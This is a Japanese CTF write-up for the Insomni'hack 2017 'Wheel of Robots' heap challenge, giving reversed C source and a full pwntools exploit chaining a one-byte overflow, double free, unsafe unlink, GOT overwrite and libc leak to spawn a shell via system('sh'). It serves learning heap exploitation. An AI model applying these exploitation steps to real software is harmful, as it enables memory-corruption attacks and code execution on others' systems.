# Heap exploitation Insomni'hack 2017 Wheel of Robots
Heap exploitation Insomni'hack 2017 Wheel of Robots
Heap exploitationのお勉強、Writeup見ちゃった。
問題はここ。
参考にしたのはshellphishのhow2heap。
問題
実行ファイルだけ降ってくる。
解くのにlibcが必要になるが、途中で任意アドレスの読み出しができるようになるので、ライブラリ関数のアドレスからlibcのバージョンが特定できるはず。
こことか使える。
wheel: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=48a9cceeb7cf8874bc05ccf7a4657427fa4e2d78, stripped Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
普通のx64といった感じ。
解析
直接実行してみると、malloc、free、read、writeができるっぽい感じだと分かる。
リバーシングしてみると、いくつか脆弱性を含んでいることが分かる。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <string.h> void gotohell(int id); void initialize(); int read_menu_num(char* buf, int len); void add_robot(); void del_robot(); void change_name_robot(); void start_robot(); void show_buf(char* buf); // wheel menu // 1. Tinny Tim // 2. Bender // 3. Robot Devil // 4. Chain Smoker // 5. Billionaire Bot // 6. Destructor char* chain_smoker; // 0x6030e0 char* destructor; // 0x6030e8 char* bender; // 0x6030f0 char* tinny_tim; // 0x6030f8 char* robot_devil; // 0x603100 char* billionaire_bot; // 0x603108 char menu_num_buf[4]; // 0x603110 int bender_flg; // 0x603114 int chain_smoker_flg; // 0x603118 int destructor_flg; // 0x60311c int tinny_tim_flg; // 0x603120 int robot_devil_flg; // 0x603124 int billionaire_bot_flg; // 0x603128 int use_count; // 0x603130 int intel; // 0x603138 int cruelty; // 0x603140 int powerful; // 0x603148 int main(int argc, char** argv) { setvbuf(stdout, NULL, 2, 0); setvbuf(stdin, NULL, 2, 0); initialize(); // show_title(); while(1) { // show_menu(); // 1. Add a robot on wheel // 2. Delete a robot on wheel // 3. Change a robot's name // 4. Start the Wheel Of Robots // show dialog memset(menu_num_buf, 0, sizeof(menu_num_buf)); int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf)); switch(menu_num) { case 1: add_robot(); break; case 2: del_robot(); break; case 3: change_name_robot(); break; case 4: start_robot(); break; default: break; } } return 0; } void initialize() { int random_fd = open("/dev/urandom", 0); long long num; read(random_fd, &num, 8); close(random_fd); srand(num); setvbuf(stdout, NULL, 2, 0); signal(0xe, gotohell); // alarm(0x3c); // temporary off return; } void gotohell(int id) { puts("Go to Hell!!!\n"); exit(1); } int read_menu_num(char* buf, int len) { char* lbuf = buf; int llen = len; int read_num = read(0, lbuf, llen); if(read_num > 0) { return atoi(lbuf); } else { puts("Error\n"); exit(-1); } } void add_robot() { // puts, which add // choice char buf[8]; memset(menu_num_buf, 0, sizeof(menu_num_buf)); int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf) + 1); // why more one byte? if(use_count > 2) { // puts, full return; } switch(menu_num) { case 1: if(tinny_tim_flg == 0) { tinny_tim = calloc(1, 0x14); tinny_tim_flg = 1; strcpy(tinny_tim, "Tinny Tim"); use_count++; } break; case 2: if(bender_flg == 0) { // puts, Increase bender intel memset(buf, 0, 5); int inc_intel = read_menu_num(buf, 5); if(inc_intel > 4) { // puts, impossible! inc_intel = 2; } bender = calloc(1, inc_intel * 10); // TODO: check intel = inc_intel; bender_flg = 1; strcpy(bender, "Bender"); use_count++; } break; case 3: if(robot_devil_flg == 0) { // puts, inc cruelty memset(buf, 0, 5); int inc_num = read_menu_num(buf, 5); if(inc_num > 0x63) { // you are crazy inc_num = 0x14; } robot_devil = calloc(1, inc_num * 10); cruelty = inc_num; strcpy(robot_devil, "Robot Devil"); robot_devil_flg = 1; use_count++; } break; case 4: if(chain_smoker_flg == 0) { chain_smoker = calloc(1, 0xfa0); strcpy(chain_smoker, "Chain Smoker"); chain_smoker_flg = 1; use_count++; } break; case 5: if(billionaire_bot_flg == 0) { billionaire_bot = calloc(1, 0x9c40); strcpy(billionaire_bot, "Billionaire Bot"); billionaire_bot_flg = 1; use_count++; } break; case 6: if(destructor_flg == 0) { // puts, inc powerful memset(buf, 0, 5); int inc_num = read_menu_num(buf, 5); destructor = calloc(1, inc_num * 10); powerful = inc_num; destructor_flg = 1; strcpy(destructor, "Destructor"); use_count++; } break; default: break; } return; } void del_robot() { // puts, Which remove // choice memset(menu_num_buf, 0, sizeof(menu_num_buf)); int menu_num = read_menu_num(menu_num_buf, sizeof(menu_num_buf)); switch(menu_num) { case 1: if(tinny_tim_flg != 0) { free(tinny_tim); tinny_tim_flg = 0; use_count--; } break; case 2: if(bender_flg != 0) { free(bender); bender_flg = 0; use_count--; } break; case 3: if(robot_devil_flg != 0) { free(robot_devil); robot_devil_flg = 0; use_count--; } break; case 4: if(chain_smoker_flg != 0) { free(chain_smoker); chain_smoker_flg = 0; use_count--; } break; case 5: if(billionaire_bot_flg != 0) { free(billionaire_bot); billionaire_bot_flg = 0; use_count--; } break; case 6: if(destructor_flg != 0) { free(destructor); destructor_flg = 0; use_count--; } break; default: break; } return; } void change_name_robot() { // puts, which // choice memset(menu_num_buf, 0, 4); int menu_num = read_menu_num(menu_num_buf, 4); switch(menu_num) { case 1: if(tinny_tim_flg != 0) { // name read(0, tinny_tim, 0x14); } break; case 2: if(bender_flg != 0) { // name read(0, bender, intel * 10); } break; case 3: if(robot_devil_flg != 0) { // name read(0, robot_devil, cruelty * 10); } break; case 4: if(chain_smoker_flg != 0) { read(0, chain_smoker, 0xfa0); } break; case 5: if(billionaire_bot_flg != 0) { read(0, billionaire_bot, 0x9c40); } break; case 6: if(destructor_flg != 0) { read(0, destructor, powerful * 10); } break; default: break; } } void start_robot() { if(use_count <= 2) { // puts, fill! return; } // int rand_num = rand_func(6);? int rand_num; switch(rand_num) { case 1: if(bender_flg != 0) { // is this bug? tinny_tim_flg is correct but wrong flag is used. so can use after free show_buf(tinny_tim); break; } case 2: if(bender_flg != 0) { // are you kidding me? show_buf("are you kidding me"); // other function but same functionality break; } case 3: if(robot_devil_flg != 0) { show_buf(robot_devil); break; } case 4: if(chain_smoker_flg != 0) { show_buf(chain_smoker); break; } case 5: if(billionaire_bot_flg != 0) { show_buf(billionaire_bot); break; } case 6: if(destructor_flg != 0) { show_buf(destructor); break; } default: // welcome to hell! break; } exit(1); } void show_buf(char* buf) { printf("%s\n", buf); }
まず、いくつかの場所でmenu_num_buf
を1バイトオーバーフローしている。
このため、直下にあるbender_flg
の下位1バイトを好きなように操作できる。
この変数はbender
に割り当てられた領域がfree済みかどうかをチェックするためのもので、これを改ざんできるとdouble freeができる。
また、freeされてもアドレスが残りっぱなしになっている点も脆弱性として利用できる。
解法
まず、double freeを利用して任意のアドレスをmallocで返せることを使って、powerful
の領域をmallocで返させる。
次にpowerful
を領域のサイズとして使うrobot 6(destructor
)を適当なサイズで取得し、その後でpowerful
をより大きいに設定することで、ヒープオーバーフローができるようにする。
これでヒープ領域を書き換えてunsafe unlinkができるようになる。
unsafe unlinkができれば、グローバル変数の値を改ざんしてGOTを適当に書き換えてlibcベースをリーク、system
でシェルの起動につなげればいい。
exploitはWriteupのほぼ丸パクリ、動かなかった部分だけ修正した。
exploit
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * context.update(arch='amd64') exe = './wheel' libc = '/lib/x86_64-linux-gnu/libc.so.6' def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.GDB: return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) elif args.REMOTE: return remote( '', ) else: return process([exe] + argv, *a, **kw) # # gdb # gdbscript = ''' # continue # '''.format(**locals()) #=========================================================== # EXPLOIT GOES HERE #=========================================================== io = start() elf = ELF(exe) libc = ELF(libc) def add_robot(robot, inc_num=0): io.recvuntil('choice :') io.sendline('1') io.recvuntil('choice :') io.sendline(str(robot)) if robot == 2: io.recvuntil('intelligence:') io.sendline(str(inc_num)) elif robot == 3: io.recvuntil('cruelty:') io.sendline(str(inc_num)) elif robot == 6: io.recvuntil('powerful:') io.sendline(str(inc_num)) def del_robot(robot): io.recvuntil('choice :') io.sendline('2') io.recvuntil('choice :') io.sendline(str(robot)) def change_name(robot, name): io.recvuntil('choice :', timeout=0.1) io.sendline('3') io.recvuntil('choice :') io.sendline(str(robot)) io.recvuntil('name:') io.send(name) # メニューの数値選択でmenu_num_bufが1バイトだけオーバーフローできる # bender_flgを好きな数値(8bit長)に書き換える def overflow_tag(bit, data='9999'): io.recvuntil('choice :') io.sendline('1') io.recvuntil('choice :') assert (len(data) == 4) io.send(data + chr(bit)) if args.DELAY: import time time.sleep(3) log.info('START') log.info("Create fake fastbin @ Bender's intel(0x603138)") intel_addr = 0x603138 add_robot(3, 0x20) # Robot Devilのcrueltyに0x20を設定 del_robot(3) # mallocできる数に限りがあるのでfreeしておく、mallocした領域や数値は0クリアされない add_robot(2, 1) # malloc Bender, intel=1 del_robot(2) # free overflow_tag(1) # freeしたBenderのbender_flgを1に書き換える change_name(2, p32(intel_addr)) # Benderの指している領域はfree済みなので、fdを書き換えることになる overflow_tag(0) # Benderをfreeされた扱いに add_robot(2, 1) # 次にintel_addrがチャンクとして返される log.info("Return Destructor's powerful(0x603148)") # intel_addrがチャンクとして返されるので、ユーザ領域としてprev_sizeとsize分下にあるpowerfulが返される add_robot(1) # 他の領域を確保するためにfree del_robot(2) del_robot(3) # free済? log.info('Unsafe Unlink') add_robot(3, 7) # RobotDevilでcalloc(70) add_robot(4) # Chain Smoker del_robot(3) # robot 4でのprev in useフラグを0にするため add_robot(6, 1) # destructor, powerful 1. ここで返されるのはheap領域の先頭に位置するチャンク # heapのレイアウトは現在 # robot 6(0x20) # robot 3(0xa0) # robot 4(0xfb0) # となっている # powerfulを書き換えてヒープオーバーフロー change_name(1, p32(0x1000)) # fdを書き換えてpowerfulを指すようになっている destructor_addr = 0x6030e8 change_name( 6, "a" * 0x8 + # パディング p64(0xb1) + # サイズのチェックが存在している、元のexploitから変更 p64(destructor_addr - 0x18) + p64(destructor_addr - 0x10) + # 偽のfdとbk、ターゲットはdestructor(0x6030e8) p64(0) + p64(0) + "b" * 0x80 + # パディング? p64(0xb0) # prev_size、0xa0からサイズを大きくして偽のチャンクを認識させる ) log.info('unlink!') del_robot(4) # unsafe unlinkによるP->bk->fd = P->fdで、destructorに0x6030d0が格納される # これにより、グローバル変数の値を任意に変更できるようになった change_name( 6, "A" * 40 + p64(0x6030e8)) # robot 1(tinny tim)の値を0x6030e8(destructor)に # この時点でrobot 1への書き込みはdestructor(0x6030e8)への書き込みになる # robot 1へ書き込んだアドレスはrobot 6(destructor)にセットされる # robot 6への書き込みはセットしたアドレスへの書き込みになる # つまり、[addr] = data def write(addr, data): change_name(1, p64(addr)) change_name(6, data) log.info('overwrite exit@GOT = ret') # menu 4の最後がretではなくexitになっているため、retにして繰り返し実行できるようにする rop_ret = 0x4015bc # ret; write(elf.got['exit'], p64(rop_ret)) write(0x603130, p64(3)) # use_count(0x603130) = 3 log.info('Leak free@GOT') # free@GOTを表示してlibcベースをリーク change_name(1, p64(elf.got['free'])) while True: io.recvuntil('choice :') io.sendline('4') # 乱数でrobotのバッファを表示する buf = io.recvuntil('!! Thx ', timeout=0.1) if '!! Thx' in buf: break else: log.info("Retry!") libc_base = u64(io.recv()[:6] + '\0\0') - libc.symbols['free'] log.info('libc base: 0x{:x}'.format(libc_base)) log.info('free = system') write(elf.got['free'], p64(libc_base + libc.symbols['system'])) write(0x603114, "sh\0") # 適当なアドレスに"sh"を書き込む del_robot(6) # この時点でrobot 6に格納されているアドレスには"sh"を指すポインタが格納されている # free = systemなので、system("sh")となる io.interactive()
細かいことはexploit中のコメントに書いた。
まとめ
double freeからunsafe unlinkに繋げられなかった、というかこのdouble freeは成立しないと思ってた。 サイズのチェックか何かあった気がしたけどそんなことはなかった、何事も試してみるのが大事だね。